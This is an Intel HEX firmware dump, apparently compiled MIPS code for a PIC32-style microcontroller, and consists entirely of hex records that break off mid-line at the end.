10412400ff0042301200c2a31c00c227212040001d\n:104134001000c227212840008c00c68f0a000724e3\n:10414400e88f400f000000002800c3271c00c2278e\n:10415400212060008800c58f213040000a00072418\n:104164008e90400f00000000270040100000000067\n:104174002800c22721204000049d023ce05645242b\n:10418400734d410f000000001900401000000000b2\n:104194003400c3272800c2272120600021284000c2\n:1041a400e7b8400f000000008c00c28f0a004224d0\n:1041b4005400c4273400c327212860002130400064\n:1041c40020000724e88f400f000000005400c2279d\n:1041d4008000c48f212840002000062463b9400fca\n:1041e40000000000010002248890400b0000000041\n:1041f400049d023cf05844242013410f00000000a9\n:104204008790400b00000000049d023c3c5944246c\n:104214002013410f000000002110000021e8c0031a\n:104224007c00bf8f7800be8f8000bd270800e003ac\n:104234000000000098ffbd276400bfaf6000beaf60\n:1042440021f0a0036800c4af6c00c5af7000c6af16\n:104254007400c7af1800c0af4400c227212040003b\n:10426400d2ad400f00000000080040140000000020\n:10427400049d023c785944242013410f000000009f\n:1042840021100000d490400b000000000c8180af8e\n:104294004400c22721204000d2ad400f000000009e\n:1042a4000800401400000000049d023ca45944246a\n:1042b4002013410f0000000021100000d490400b97\n:1042c400000000005000c2271000a0af21204000d1\n:1042d4006c00c58f4000062403000724da90400fc9\n:1042e400000000000800401400000000049d023c8f\n:1042f400dc5944242013410f000000002110000069\n:10430400d490400b000000001000a0af6800c48fe0\n:104314007000c58f7400c68f03000724da90400f25\n:10432400000000000800401400000000049d023c4e\n:104334000c5a44242013410f0000000021100000f7\n:10434400d490400b000000000100022421e8c003c7\n:104354006400bf8f6000be8f6800bd270800e003c3\n:104364000000000098ffbd276400bfaf6000beaf2f\n:1043740021f0a0036800c4af6c00c5af7000c6afe5\n:104384007400c7af3000c0af0c8180af00a0023c06\n:10439400dc5642249c00478c00a0023cdc5642249c\n:1043a400f800468c00a0023cdc564224e400458c14\n:1043b40000a0023cdc564224e800448c00a0023ced\n:1043c400dc564224e000438c00a0023cdc5642242c\n:1043d400f400428c7400c88f1000a8af1400a7af7b\n:1043e4001800a0af1c00a6af2000a5af2400a4af06\n:1043f4002800a3af2c00a2af6c00c48f7000c58f3f\n:104404007800c68f01000724313b410f00000000f3\n:104414000800401400000000049d023c3c5a44245f\n:104424002013410f00000000211000004f91400ba9\n:104434000000000001000224448282a300a0023c88\n:10444400dc5642249c00448c00a0023cdc564224ee\n:10445400a400438c00a0023cdc564224bc004290e1\n:104464002130400000a0023cdc5642248c00458ce4\n:104474003400c22700a0073c9957e7241000a7afd7\n:104484001400a6af1800a5af010005241c00a5afb9\n:104494002000a0af2128600021304000250007241f\n:1044a400a9ff400f000000003000c2af3000c38fee\n:1044b400250002241b006214000000003400c227ff\n:1044c40021204000059d023ca45f452405000624ec\n:1044d400d352410f0000000008004010000000000b\n:1044e400049d023c645a44242013410f0000000040\n:1044f400211000004f91400b000000003400c2273f\n:10450400050042246800c48f2128400020000624ae\n:1045140063b9400f00000000010002244f91400bda\n:1045240000000000049d023c845a44242013410fdf\n:10453400000000002110000021e8c0036400bf8fc8\n:104544006000be8f6800bd270800e0030000000083\n:10455400b8fabd274405bfaf4005beaf3c05b7afb1\n:104564003805b6af3405b5af3005b4af2c05b3afdd\n:104574002805b2af2405b1af2005b0af21f0a003e8\n:104584004805c4af4c05c5af4c05c28f1800c2af77\n:104594001800c48f200005242e57410f000000008e\n:1045a4001c00c2af1c00c28f0800401400000000b1\n:1045b400049d023ca85a44242013410f000000002b\n:1045c40021100000979a400b000000001c00c28fcd\n:1045d400000040a01800c48fa34a410f000000004f\n:1045e400211840000c0002240800621000000000a2\n:1045f400049d023cd45a44242013410f00000000bf\n:1046040021100000979a400b000000001800c48f8e\n:1046140021b8400f0000000040260300c2810200c0\n:1046240025809000c2890300010016320000373251\n:104634001800c48f21b8400f00000000c0260300fa\n:1046440042910200259092004299030002004232f6\n:104654003000c2af000063323400c3af3000c68ff5\n:104664002120c6022b1096003400c38f2128e302b8\n:104674002110450021284000218080002188a000cd\n:104684001800c48f21b8400f000000004027030029\n:10469400c2a0020025a09400c2a803000400843232\n:1046a4003800c4af0000a5323c00c5af3800c68f47\n:1046b400212006022b1090003c00c38f21282302e6\n:1046c4002110450021284000218080002188a0007d\n:1046d4001800c48f21b8400f00000000c027030059\n:1046e400422802004000c5af4000c68f2520860046\n:1046f4004000c4af422003004400c4af4000c58f53\n:104704000800a5304800c5af4400c68f0000c6307d\n:104714004c00c6af4800c28f212002022b1090002b\n:104724004c00c38f2128230221104500212840007a\n:10473400218080002188a0001800c48f21b8400f78\n:1047440000000000c2270200402803005400c5af47\n:104754005400c68f252086005400c4af40200200b8\n:104764005000c4af5000c58f1000a5305800c5af2d\n:104774005400c68f0000c6305c00c6af5800c28f1c\n:10478400212002022b1090005c00c38f21282302f9\n:104794002110450021284000218080002188a000ac\n:1047a4001800c48f21b8400f000000004227020007\n:1047b400c02803006400c5af6400c68f25208600ae\n:1047c4006400c4afc02002006000c4af6000c58fa5\n:1047d4002000a5306800c5af6400c68f0000c63055\n:1047e4006c00c6af6800c28f212002022b1090001b\n:1047f4006c00c38f2128230221104500212840008a\n:10480400218080002188a0001800c48f21b8400fa7\n:1048140000000000c2260200402903007400c5af56\n:104824007400c68f252086007400c4af40210200a6\n:104834007000c4af7000c58f4000a5307800c5afcc\n:104844007400c68f0000c6307c00c6af7800c28feb\n:10485400212002022b1090007c00c38f2128230208\n:104864002110450021284000218080002188a000db\n:104874001800c48f21b8400f000000004226020037\n:10488400c02903008400c5af8400c68f252086009c\n:104894008400c4afc02102008000c4af8000c5936f\n:1048a4008800c5af8400c68f0000c6308c00c6af38\n:1048b4008800c28f212002022b1090008c00c38f2d\n:1048c4002128230221104500212840002190800046\n:1048d4002198a0001800c48f21b8400f00000000e8\n:1048e40040240300c22b02009000c5af9000c68f85\n:1048f400252086009000c4afc22303009400c4aff7\n:104904009000c58f0100a5309800c5af9400c68ff4\n:104914000000c6309c00c6af1800c48f21b8400ff9\n:1049240000000000c0240300422b0200a000c5af19\n:10493400a000c68f25208600a000c4af4223030038\n:10494400a400c4afa000c58f0200a530a800c5af65\n:10495400a400c68f0000c630ac00c6af9800c28f5a\n:10496400a800c38f212043009800c68f2b10860017\n:104974009c00c38fac00c68f21286600211045001f\n:1049840021284000218080002188a0001800c48fc5\n:1049940021b8400f0000000040250300c22a020095\n:1049a400b000c5afb000c68f25208600b000c4afec\n:1049b400c2220300b400c4afb000c58f0400a53008\n:1049c400b800c5afb400c68f0000c630bc00c6af87\n:1049d400b800c28f212002022b109000bc00c38fac\n:1049e4002128230221104500212840002180800035\n:1049f4002188a0001800c48f21b8400f00000000d7\n:104a0400c0250300422a0200c000c5afc000c68f03\n:104a140025208600c000c4af42220300c400c4aff6\n:104a2400c000c58f0800a530c800c5afc400c68f3c\n:104a34000000c630cc00c6afc800c28f21200202dd\n:104a44002b109000cc00c38f212823022110450095\n:104a540021284000218080002188a0001800c48ff4\n:104a640021b8400f0000000000260300022a0200c3\n:104a7400d000c5afd000c68f25208600d000c4afbb\n:104a840002220300d400c4afd000c58fc2170500b2\n:104a9400d400c68f40300600dc00c6afdc00c38ff4\n:104aa40025104300dc00c2afd000c48f40200400b6\n:104ab400d800c4afd800c58f1000a530e000c5af42\n:104ac400dc00c68f0000c630e400c6afe000c28f31\n:104ad400212002022b109000e400c38f212823021e\n:104ae4002110450021284000218080002188a00059\n:104af4001800c48f21b8400f0000000000260300f6\n:104b0400022a0200e800c5afe800c68f252086000f\n:104b1400e800c4af02220300ec00c4afe800c58f74\n:104b240042170500ec00c68fc0300600f400c6af83\n:104b3400f400c38f25104300f400c2afe800c48f13\n:104b4400c0200400f000c4aff000c58f2000a530e1\n:104b5400f800c5aff400c68f0000c630fc00c6af35\n:104b6400f800c28f212002022b109000fc00c38f9a\n:104b740021282302211045002128400021808000a3\n:104b84002188a0001800c48f21b8400f0000000045\n:104b940000260300022a02000001c5af0001c68fef\n:104ba400252086000001c4af022203000401c4af23\n:104bb4000001c58fc21605000401c68f40310600ee\n:104bc4000c01c6af0c01c38f251043000c01c2af0a\n:104bd4000001c48f402104000801c4af0801c58f3f\n:104be4004000a5301001c5af0c01c68f0000c630cf\n:104bf4001401c6af1001c28f212002022b109000b5\n:104c04001401c38f212823022110450021284000cc\n:104c1400218080002188a0001800c48f21b8400f93\n:104c24000000000000260300022a02001801c5af9c\n:104c34001801c68f252086001801c4af0222030084\n:104c44001c01c4af1801c58f421605001c01c68f94\n:104c5400c03106002401c6af2401c38f25104300d0\n:104c64002401c2af1801c48fc02104002001c4afc5\n:104c74002001c5932801c5af2401c68f0000c630aa\n:104c84002c01c6af2801c28f212002022b109000f4\n:104c94002c01c38f21282302211045002128400024\n:104ca400211080002118a00002260200002a03001f\n:104cb4003401c5af3401c68f252086003401c4af4a\n:104cc400002202003001c4af3001c68f2120460209\n:104cd4002b1092003401c38f212863022110450058\n:104ce4002128400021a0800021a8a0001800c48f22\n:104cf40021b8400f0000000040220300c22d020032\n:104d04003801c5af3801c68f252086003801c4afed\n:104d1400c22503003c01c4af3801c58f0100a53092\n:104d24004001c5af3c01c68f0000c6304401c6af88\n:104d34001800c48f21b8400f00000000c0220300f7\n:104d4400422d02004801c5af4801c68f25208600c8\n:104d54004801c4af422503004c01c4af4801c58fcc\n:104d64000200a5305001c5af4c01c68f0000c6300b\n:104d74005401c6af4001c28f5001c38f21204300ac\n:104d84004001c68f2b1086004401c38f5401c68f87\n:104d94002128660021104500212840002180800040\n:104da4002188a0001800c48f21b8400f0000000023\n:104db40040230300c22c02005801c5af5801c68f1e\n:104dc400252086005801c4afc22403005c01c4af8f\n:104dd4005801c58f0400a5306001c5af5c01c68fc2\n:104de4000000c6306401c6af6001c28f21200202f8\n:104df4002b1090006401c38f212823022110450049\n:104e040021284000218080002188a0001800c48f40\n:104e140021b8400f00000000c0230300422c020010\n:104e24006801c5af6801c68f252086006801c4af3c\n:104e3400422403006c01c4af6801c58f0800a5308b\n:104e44007001c5af6c01c68f0000c6307401c6afd7\n:104e54007001c28f212002022b1090007401c38fb5\n:104e640021282302211045002128400021808000b0\n:104e74002188a0001800c48f21b8400f0000000052\n:104e840000240300022c02007801c5af7801c68f0c\n:104e9400252086007801c4af022403007c01c4af3e\n:104ea4007801c58fc21705007c01c68f403006000b\n:104eb4008401c6af8401c38f251043008401c2afaf\n:104ec4007801c48f402004008001c4af8001c58fe5\n:104ed4001000a5308801c5af8401c68f0000c6301c\n:104ee4008c01c6af8801c28f212002022b109000d2\n:104ef4008c01c38f21282302211045002128400062\n:104f0400218080002188a0001800c48f21b8400fa0\n:104f14000000000000240300022c02009001c5af31\n:104f24009001c68f252086009001c4af022403009f\n:104f34009401c4af9001c58f421705009401c68f38\n:104f4400c03006009c01c6af9c01c38f25104300ee\n:104f54009c01c2af9001c48fc02004009801c4af6b\n:104f64009801c58f2000a530a001c5af9c01c68f54\n:104f74000000c630a401c6afa001c28f21200202e6\n:104f84002b109000a401c38f212823022110450077\n:104f940021284000218080002188a0001800c48faf\n:104fa40021b8400f0000000000240300022c02007e\n:104fb400a801c5afa801c68f25208600a801c4afeb\n:104fc40002240300ac01c4afa801c58fc2160500ba\n:104fd400ac01c68f40310600b401c6afb401c38f23\n:104fe40025104300b401c2afa801c48f40210400be\n:104ff400b001c4afb001c58f4000a530b801c5af42\n:10500400b401c68f0000c630bc01c6afb801c28f60\n:10501400212002022b109000bc01c38f21282302ff\n:105024002110450021284000218080002188a00013\n:105034001800c48f21b8400f0000000000240300b2\n:10504400022c0200c001c5afc001c68f2520860016\n:10505400c001c4af02240300c401c4afc001c58fa2\n:1050640042160500c401c68fc0310600cc01c6af8c\n:10507400cc01c38f25104300cc01c2afc001c48f43\n:10508400c0210400c801c4afc801c593d001c5af95\n:10509400cc01c68f0000c630d401c6afd001c28f88\n:1050a400212002022b109000d401c38f2128230257\n:1050b4002110450021284000219080002198a00063\n:1050c4001800c48f21b8400f0000000040200300e6\n:1050d400c22f0200d801c5afd801c68f2520860093\n:1050e400d801c4afc2270300dc01c4afd801c58f07\n:1050f4000100a530e001c5afdc01c68f0000c63059\n:10510400e401c6af1800c48f21b8400f00000000ae\n:10511400c0200300422f0200e801c5afe801c68f9a\n:1051240025208600e801c4af42270300ec01c4af88\n:10513400e801c58f0200a530f001c5afec01c68fb0\n:105144000000c630f401c6afe001c28ff001c38f86\n:1051540021204300e001c68f2b108600e401c38f99\n:10516400f401c68f21286600211045002128400043\n:10517400218080002188a0001800c48f21b8400f2e\n:105184000000000040210300c22e0200f801c5af58\n:10519400f801c68f25208600f801c4afc22603009b\n:1051a400fc01c4aff801c58f0400a5300002c5afef\n:1051b400fc01c68f0000c6300402c6af0002c28fd5\n:1051c400212002022b1090000402c38f2128230205\n:1051d4002110450021284000218080002188a00062\n:1051e4001800c48f21b8400f00000000c021030044\n:1051f400422e02000802c5af0802c68f2520860091\n:105204000802c4af422603000c02c4af0802c58fd3\n:105214000800a5301002c5af0c02c68f0000c630ce\n:105224001402c6af1002c28f212002022b1090007c\n:105234001402c38f21282302211045002128400095\n:10524400218080002188a0001800c48f21b8400f5d\n:105254000000000000220300022e02001802c5af65\n:105264001802c68f252086001802c4af0226030048\n:105274001c02c4af1802c58fc21705001c02c68fda\n:10528400403006002402c6af2402c38f2510430019\n:105294002402c2af1802c48f402004002002c4af0d\n:1052a4002002c58f1000a5302802c5af2402c68f86\n:1052b4000000c6302c02c6af2802c28f2120020291\n:1052c4002b1090002c02c38f2128230221104500ab\n:1052d40021284000218080002188a0001800c48f6c\n:1052e40021b8400f0000000000220300022e02003b\n:1052f4003002c5af3002c68f252086003002c4af0d\n:10530400022603003402c4af3002c58f42170500e1\n:105314003402c68fc03006003c02c6af3c02c38fc5\n:10532400251043003c02c2af3002c48fc0200400e9\n:105334003802c4af3802c58f2000a5304002c5af83\n:105344003c02c68f0000c6304402c6af4002c28f82\n:10535400212002022b1090004402c38f2128230233\n:105364002110450021284000218080002188a000d0\n:105374001800c48f21b8400f000000000022030071\n:10538400022e02004802c5af4802c68f25208600bf\n:105394004802c4af022603004c02c4af4802c58fc2\n:1053a400c21605004c02c68f403106005402c6af37\n:1053b4005402c38f251043005402c2af4802c48f65\n:1053c400402104005002c4af5002c58f4000a530f4\n:1053d4005802c5af5402c68f0000c6305c02c6af87\n:1053e4005802c28f212002022b1090005c02c38f4e\n:1053f400212823022110450021284000218080001b\n:105404002188a0001800c48f21b8400f00000000bc\n:1054140000220300022e02006002c5af6002c68fa4\n:10542400252086006002c4af022603006402c4afd4\n:105434006002c58f421605006402c68fc0310600a3\n:105444006c02c6af6c02c38f251043006c02c2af5e\n:105454006002c48fc02104006802c4af6802c5930f\n:105464007002c5af6c02c68f0000c6307402c6afae\n:105474007002c28f212002022b1090007402c38f8d\n:1054840021282302211045002128400021108000fa\n:105494002118a00002260200002a03007c02c5afe6\n:1054a4007c02c68f252086007c02c4af0022020045\n:1054b4007802c4af7802c68f212046022b109200d6\n:1054c4007c02c38f2128630221104500212840005b\n:1054d400211080002118a00002240200002c0300e7\n:1054e4008402c5af8402c68f252086008402c4af1f\n:1054f400002402008002c4af8002c68f21208602ed\n:105504002b1094008402c38f2128a302211045008c\n:105514002128400021b0800021b8a0001800c48fc9\n:1055240021b8400f00000000c22103008802c4af6c\n:105534008c02c0af8802c58f0100a5309002c5afb0\n:105544008c02c68f0000c6309402c6af1800c48f08\n:1055540021b8400f00000000422103009802c4afac\n:105564009c02c0af9802c58f0200a530a002c5af4f\n:105574009c02c68f0000c630a402c6af9002c28f40\n:10558400a002c38f212043009002c68f2b108600f7\n:105594009402c38fa402c68f2128660021104500ff\n:1055a40021284000218080002188a0001800c48f99\n:1055b40021b8400f00000000c2200300a802c4afbd\n:1055c400ac02c0afa802c58f0400a530b002c5afbd\n:1055d400ac02c68f0000c630b402c6afb002c28fa0\n:1055e400212002022b109000b402c38f2128230231\n:1055f4002110450021284000218080002188a0003e\n:105604001800c48f21b8400f00000000422003009e\n:10561400b802c4afbc02c0afb802c58f0800a53041\n:10562400c002c5afbc02c68f0000c630c402c6affc\n:10563400c002c28f212002022b109000c402c38f2b\n:1056440021282302211045002128400021808000c8\n:105654002188a0001800c48f21b8400f000000006a\n:1056640002200300c802c4afcc02c0afc802c58f79\n:10567400c2170500cc02c68f40300600d402c6af64\n:10568400d402c38f25104300d402c2afc802c48f12\n:1056940040200400d002c4afd002c58f1000a53052\n:1056a400d802c5afd402c68f0000c630dc02c6af34\n:1056b400d802c28f212002022b109000dc02c38f7b\n:1056c4002128230221104500212840002180800048\n:1056d4002188a0001800c48f21b8400f00000000ea\n:1056e40002200300e002c4afe402c0afe002c58fb1\n:1056f40042170500e402c68fc0300600ec02c6afb4\n:10570400ec02c38f25104300ec02c2afe002c48f49\n:10571400c0200400e802c4afe802c58f2000a53011\n:10572400f002c5afec02c68f0000c630f402c6af6b\n:10573400f002c28f212002022b109000f402c38fca\n:1057440021282302211045002128400021808000c7\n:105754002188a0001800c48f21b8400f0000000069\n:1057640002200300f802c4affc02c0aff802c58fe8\n:10577400c2160500fc02c68f403106000403c6af02\n:105784000403c38f251043000403c2aff802c48f7f\n:10579400402104000003c4af0003c58f4000a530be\n:1057a4000803c5af0403c68f0000c6300c03c6afa0\n:1057b4000803c28f212002022b1090000c03c38f18\n:1057c4002128230221104500212840002180800047\n:1057d4002188a0001800c48f21b8400f00000000e9\n:1057e400022003001003c4af1403c0af1003c58f1d\n:1057f400421605001403c68fc03106001c03c6af51\n:105804001c03c38f251043001c03c2af1003c48fb5\n:10581400c02104001803c4af1803c5932003c5af07\n:105824001c03c68f0000c6302403c6af2003c28ffa\n:10583400212002022b1090002403c38f212823026d\n:105844002110450021284000219080002198a000cb\n:105854001800c48f21b8400f00000000c2230300c9\n:105864002803c4af2c03c0af2803c58f0100a530a3\n:105874003003c5af2c03c68f0000c6303403c6af57\n:105884001800c48f21b8400f000000004223030019\n:105894003803c4af3c03c0af3803c58f0200a53042\n:1058a4004003c5af3c03c68f0000c6304403c6aff7\n:1058b4003003c28f4003c38f212043003003c68fbf\n:1058c4002b1086003403c38f4403c68f212866003f\n:1058d4002110450021284000218080002188a0005b\n:1058e4001800c48f21b8400f00000000c22203003a\n:1058f4004803c4af4c03c0af4803c58f0400a530b0\n:105904005003c5af4c03c68f0000c6305403c6af66\n:105914005003c28f212002022b1090005403c38f26\n:1059240021282302211045002128400021808000e5\n:105934002188a0001800c48f21b8400f0000000087\n:10594400422203005803c4af5c03c0af5803c58fa1\n:105954000800a5306003c5af5c03c68f0000c630e5\n:105964006403c6af6003c28f212002022b10900093\n:105974006403c38f212823022110450021284000fd\n:10598400218080002188a0001800c48f21b8400f16\n:1059940000000000022203006803c4af6c03c0af20\n:1059a4006803c58fc21705006c03c68f403006001c\n:1059b4007403c6af7403c38f251043007403c2afce\n:1059c4006803c48f402004007003c4af7003c58f04\n:1059d4001000a5307803c5af7403c68f0000c6302d\n:1059e4007c03c6af7803c28f212002022b109000e3\n:1059f4007c03c38f21282302211045002128400065\n:105a0400218080002188a0001800c48f21b8400f95\n:105a140000000000022203008003c4af8403c0af6f\n:105a24008003c58f421705008403c68fc03006006b\n:105a34008c03c6af8c03c38f251043008c03c2af05\n:105a44008003c48fc02004008803c4af8803c58fbb\n:105a54002000a5309003c5af8c03c68f0000c6306c\n:105a64009403c6af9003c28f212002022b10900032\n:105a74009403c38f212823022110450021284000cc\n:105a8400218080002188a0001800c48f21b8400f15\n:105a940000000000022203009803c4af9c03c0afbf\n:105aa4009803c58fc21605009c03c68f40310600bb\n:105ab400a403c6afa403c38f25104300a403c2af3d\n:105ac4009803c48f40210400a003c4afa003c58f72\n:105ad4004000a530a803c5afa403c68f0000c6309c\n:105ae400ac03c6afa803c28f212002022b10900082\n:105af400ac03c38f21282302211045002128400034\n:105b0400218080002188a0001800c48f21b8400f94\n:105b14000000000002220300b003c4afb403c0af0e\n:105b2400b003c58f42160500b403c68fc03106000a\n:105b3400bc03c6afbc03c38f25104300bc03c2af74\n:105b4400b003c48fc0210400b803c4afb803c59325\n:105b5400c003c5afbc03c68f0000c630c403c6afc4\n:105b6400c003c28f212002022b109000c403c38ff4\n:105b74002128230221104500212840002110800003\n:105b84002118a00002260200002a0300cc03c5af9e\n:105b9400cc03c68f25208600cc03c4af00220200ac\n:105ba400c803c4afc803c68f212046022b1092003d\n:105bb400cc03c38f21286302211045002128400013\n:105bc40021a0800021a8a0001800c48f21b8400f94\n:105bd40000000000c2250300d003c4afd403c0af4b\n:105be400d003c58f0100a530d803c5afd403c68f39\n:105bf4000000c630dc03c6af1800c48f21b8400fc4\n:105c04000000000042250300e003c4afe403c0af7a\n:105c1400e003c58f0200a530e803c5afe403c68fd7\n:105c24000000c630ec03c6afd803c28fe803c38fad\n:105c340021204300d803c68f2b108600dc03c38fba\n:105c4400ec03c68f2128660021104500212840005e\n:105c5400218080002188a0001800c48f21b8400f43\n:105c640000000000c2240300f003c4aff403c0af7b\n:105c7400f003c58f0400a530f803c5aff403c68f45\n:105c84000000c630fc03c6aff803c28f2120020215\n:105c94002b109000fc03c38f212823022110450000\n:105ca40021284000218080002188a0001800c48f92\n:105cb40021b8400f00000000422403000004c4afd8\n:105cc4000404c0af0004c58f0800a5300804c5afa4\n:105cd4000404c68f0000c6300c04c6af0804c28f8b\n:105ce400212002022b1090000c04c38f21282302d0\n:105cf4002110450021284000218080002188a00037\n:105d04001800c48f21b8400f0000000002240300d3\n:105d14001004c4af1404c0af1004c58fc21705002b\n:105d24001404c68f403006001c04c6af1c04c38f85\n:105d3400251043001c04c2af1004c48f402004008b\n:105d44001804c4af1804c58f1000a5302004c5afd3\n:105d54001c04c68f0000c6302404c6af2004c28fc2\n:105d6400212002022b1090002404c38f2128230237\n:105d74002110450021284000218080002188a000b6\n:105d84001800c48f21b8400f000000000224030053\n:105d94002804c4af2c04c0af2804c58f42170500e3\n:105da4002c04c68fc03006003404c6af3404c38f3d\n:105db400251043003404c2af2804c48fc02004005b\n:105dc4003004c4af3004c58f2000a5303804c5affb\n:105dd4003404c68f0000c6303c04c6af3804c28ffa\n:105de400212002022b1090003c04c38f212823029f\n:105df4002110450021284000218080002188a00036\n:105e04001800c48f21b8400f0000000002240300d2\n:105e14004004c4af4404c0af4004c58fc21605009b\n:105e24004404c68f403106004c04c6af4c04c38ff3\n:105e3400251043004c04c2af4004c48f4021040029\n:105e44004804c4af4804c58f4000a5305004c5af12\n:105e54004c04c68f0000c6305404c6af5004c28f31\n:105e6400212002022b1090005404c38f2128230206\n:105e74002110450021284000218080002188a000b5\n:105e84001800c48f21b8400f000000000224030052\n:105e94005804c4af5c04c0af5804c58f4216050053\n:105ea4005c04c68fc03106006404c6af6404c38fab\n:105eb400251043006404c2af5804c48fc0210400f9\n:105ec4006004c4af6004c5936804c5af6404c68f9e\n:105ed4000000c6306c04c6af6804c28f21200202e1\n:105ee4002b1090006c04c38f21282302211045003d\n:105ef40021284000219080002198a0001800c48f20\n:105f040021b8400f00000000c22703007004c4af92\n:105f14007404c0af1800c48f21b8400f0000000003\n:105f2400422f03007804c5af7c04c0af7804c68f49\n:105f34000200c6308004c6af7c04c28f0000423029\n:105f44008404c2af7004c38f8004c68f212066000e\n:105f54007004c38f2b1083007404c68f8404c38f12\n:105f64002128c30021104500212840002180800001\n:105f74002188a0001800c48f21b8400f0000000041\n:105f8400c22603008804c4af8c04c0af8804c58f44\n:105f94000400a5309004c5af8c04c68f0000c63041\n:105fa4009404c6af9004c28f212002022b109000eb\n:105fb4009404c38f21282302211045002128400086\n:105fc400218080002188a0001800c48f21b8400fd0\n:105fd40000000000422603009804c4af9c04c0af34\n:105fe4009804c58f0800a530a004c5af9c04c68fd3\n:105ff4000000c630a404c6afa004c28f2120020250\n:106004002b109000a404c38f2128230221104500e3\n:1060140021284000218080002188a0001800c48f1e\n:1060240021b8400f0000000002260300a804c4affa\n:10603400ac04c0afa804c58fc2170500ac04c68f5a\n:1060440040300600b404c6afb404c38f2510430027\n:10605400b404c2afa804c48f40200400b004c4af89\n:10606400b004c58f1000a530b804c5afb404c68f02\n:106074000000c630bc04c6afb804c28f212002029f\n:106084002b109000bc04c38f21282302211045004b\n:1060940021284000218080002188a0001800c48f9e\n:1060a40021b8400f0000000002260300c004c4af62\n:1060b400c404c0afc004c58f42170500c404c68f12\n:1060c400c0300600cc04c6afcc04c38f25104300f7\n:1060d400cc04c2afc004c48fc0200400c804c4af41\n:1060e400c804c58f2000a530d004c5afcc04c68f2a\n:1060f4000000c630d404c6afd004c48f21100402fb\n:106104002b205000d404c58f2118250221208300a0\n:106114002118800021804000218860001800c48f6d\n:1061240021b8400f0000000002360300d804c6afb7\n:10613400dc04c0afd804c38fc2160300dc04c48fd0\n:1061440040210400e404c4afe404c58f25104500d5\n:10615400e404c2afd804c68f40310600e004c6afe1\n:10616400e004c28f40004230e804c2afe404c38fad\n:1061740000006330ec04c3afe804c48f21100402b0\n:106184002b205000ec04c58f211825022120830008\n:106194002118800021804000218860001800c48fed\n:1061a40021b8400f0000000002360300f004c6af1f\n:1061b400f404c0aff004c38f42160300f404c48f88\n:1061c400c0210400fc04c4affc04c58f25104500a5\n:1061d400fc04c2aff004c68fc0310600f804c6af99\n:1061e400f804c2930005c2affc04c38f00006330ff\n:1061f4000405c3af0005c48f211004022b205000f6\n:106204000405c58f21182502212083002118800050\n:1062140002260200003203000c05c6af0c05c58f30\n:10622400252085000c05c4af003202000805c6af66\n:106234000805c48f211044022b2052000c05c58f81\n:106244002118650221208300211880000224020005\n:10625400003403001405c6af1405c58f252085003e\n:106264001405c4af003402001005c6af1005c48f76\n:10627400211084022b2054001405c58f2118a50277\n:106284002120830021188000003002001c05c6afc5\n:106294001805c0af1805c48f2110c4022b20560066\n:1062a4001c05c58f2118e5022120830021188000d8\n:1062b4002000c2af2400c3af1c00c28f01004224df\n:1062c4001800c2af1800c48f200005242e57410fb8\n:1062d400000000001c00c2af1c00c28f0800401464\n:1062e40000000000049d023c0c5b44242013410f79\n:1062f4000000000021100000979a400b00000000ed\n:106304001c00c28f000040a01800c48fa34a410f94\n:106314000000000021184000080002240800621058\n:1063240000000000049d023c1c5b44242013410f28\n:106334000000000021100000979a400b00000000ac\n:106344001800c48fc4b7400f00000000c21102003f\n:10635400010050301800c48fc4b7400f0000000083\n:106364004211020002004230218002021800c48f50\n:10637400c4b7400f00000000c21002000400423005\n:10638400218002021800c48fc4b7400f000000002f\n:106394004210020008004230218002021800c48f1b\n:1063a400c4b7400f0000000040100200100042304b\n:1063b400218002021800c48fc4b7400f00000000ff\n:1063c400c010020020004230218002021800c48f55\n:1063d400c4b7400f000000004011020040004230ea\n:1063e400218002021800c48fc4b7400f00000000cf\n:1063f400c0110200ff004230218002021800c48f45\n:10640400c4b7400f00000000c21302000100513065\n:106414001800c48fc4b7400f0000000042130200ec\n:1064240002004230218822021800c48fc4b7400ff2\n:1064340000000000c212020004004230218822023f\n:106444001800c48fc4b7400f0000000042120200bd\n:1064540008004230218822021800c48fc4b7400fbc\n:10646400000000000212020040100200100042303e\n:10647400218822021800c48fc4b7400f0000000016\n:1064840002120200c01002002000423021882202c1\n:106494001800c48fc4b7400f0000000002120200ad\n:1064a4004011020040004230218822021800c48fab\n:1064b400c4b7400f0000000002120200c011020025\n:1064c400ff00423021102202001202002180020249\n:1064d4001800c48fc4b7400f00000000c2150200aa\n:1064e400010051301800c48fc4b7400f00000000f1\n:1064f4004215020002004230218822021800c48f93\n:10650400c4b7400f00000000c2140200040042306f\n:10651400218822021800c48fc4b7400f0000000075\n:106524004214020008004230218822021800c48f5d\n:10653400c4b7400f00000000021402004010020023\n:1065440010004230218822021800c48fc4b7400fc3\n:106554000000000002140200c010020020004230bb\n:10656400218822021800c48fc4b7400f0000000025\n:10657400021402004011020040004230218822022d\n:106584001800c48fc4b7400f0000000002140200ba\n:10659400c0110200ff004230218822021800c48f7b\n:1065a400c4b7400f00000000c29702001800c48f57\n:1065b400c4b7400f0000000042170200020042303e\n:1065c400219042021800c48fc4b7400f000000009d\n:1065d400c216020004004230219042021800c48f07\n:1065e400c4b7400f00000000421602000800423009\n:1065f400219042021800c48fc4b7400f000000006d\n:1066040002160200401002001000423021904202a3\n:106614001800c48fc4b7400f000000000216020027\n:10662400c010020020004230219042021800c48fa2\n:10663400c4b7400f0000000002160200401102001f\n:1066440040004230219042021800c48fc4b7400f6a\n:106654000000000002160200c0110200ff004230d8\n:106664002110420200120200211022020014020032\n:10667400211002022800c2af1c00c28f0100422474\n:106684001800c2af1800c48fa34a410f00000000d5\n:1066940021184000080002240800621000000000d5\n:1066a400049d023c4c5b44242013410f0000000075\n:1066b40021100000979a400b000000001800c48fbe\n:1066c400c4b7400f00000000c211020001005030a6\n:1066d4001800c48fc4b7400f00000000421102002c\n:1066e40002004230218002021800c48fc4b7400f58\n:1066f40000000000c21002000400423021800202a7\n:106704001800c48fc4b7400f0000000042100200fc\n:1067140008004230218002021800c48fc4b7400f21\n:1067240000000000401002001000423021800202ec\n:106734001800c48fc4b7400f00000000c01002004e\n:1067440020004230218002021800c48fc4b7400fd9\n:10675400000000004011020040004230218002028b\n:106764001800c48fc4b7400f00000000c01102001d\n:10677400ff004230218002021800c48fc4b7400fca\n:1067840000000000c2130200010051301800c48f41\n:10679400c4b7400f00000000421302000200423060\n:1067a400218822021800c48fc4b7400f00000000e3\n:1067b400c212020004004230218822021800c48f51\n:1067c400c4b7400f0000000042120200080042302b\n:1067d400218822021800c48fc4b7400f00000000b3\n:1067e40002120200401002001000423021882202ee\n:1067f4001800c48fc4b7400f00000000021202004a\n:10680400c010020020004230218822021800c48fe8\n:10681400c4b7400f00000000021202004011020041\n:1068240040004230218822021800c48fc4b7400fb0\n:106834000000000002120200c0110200f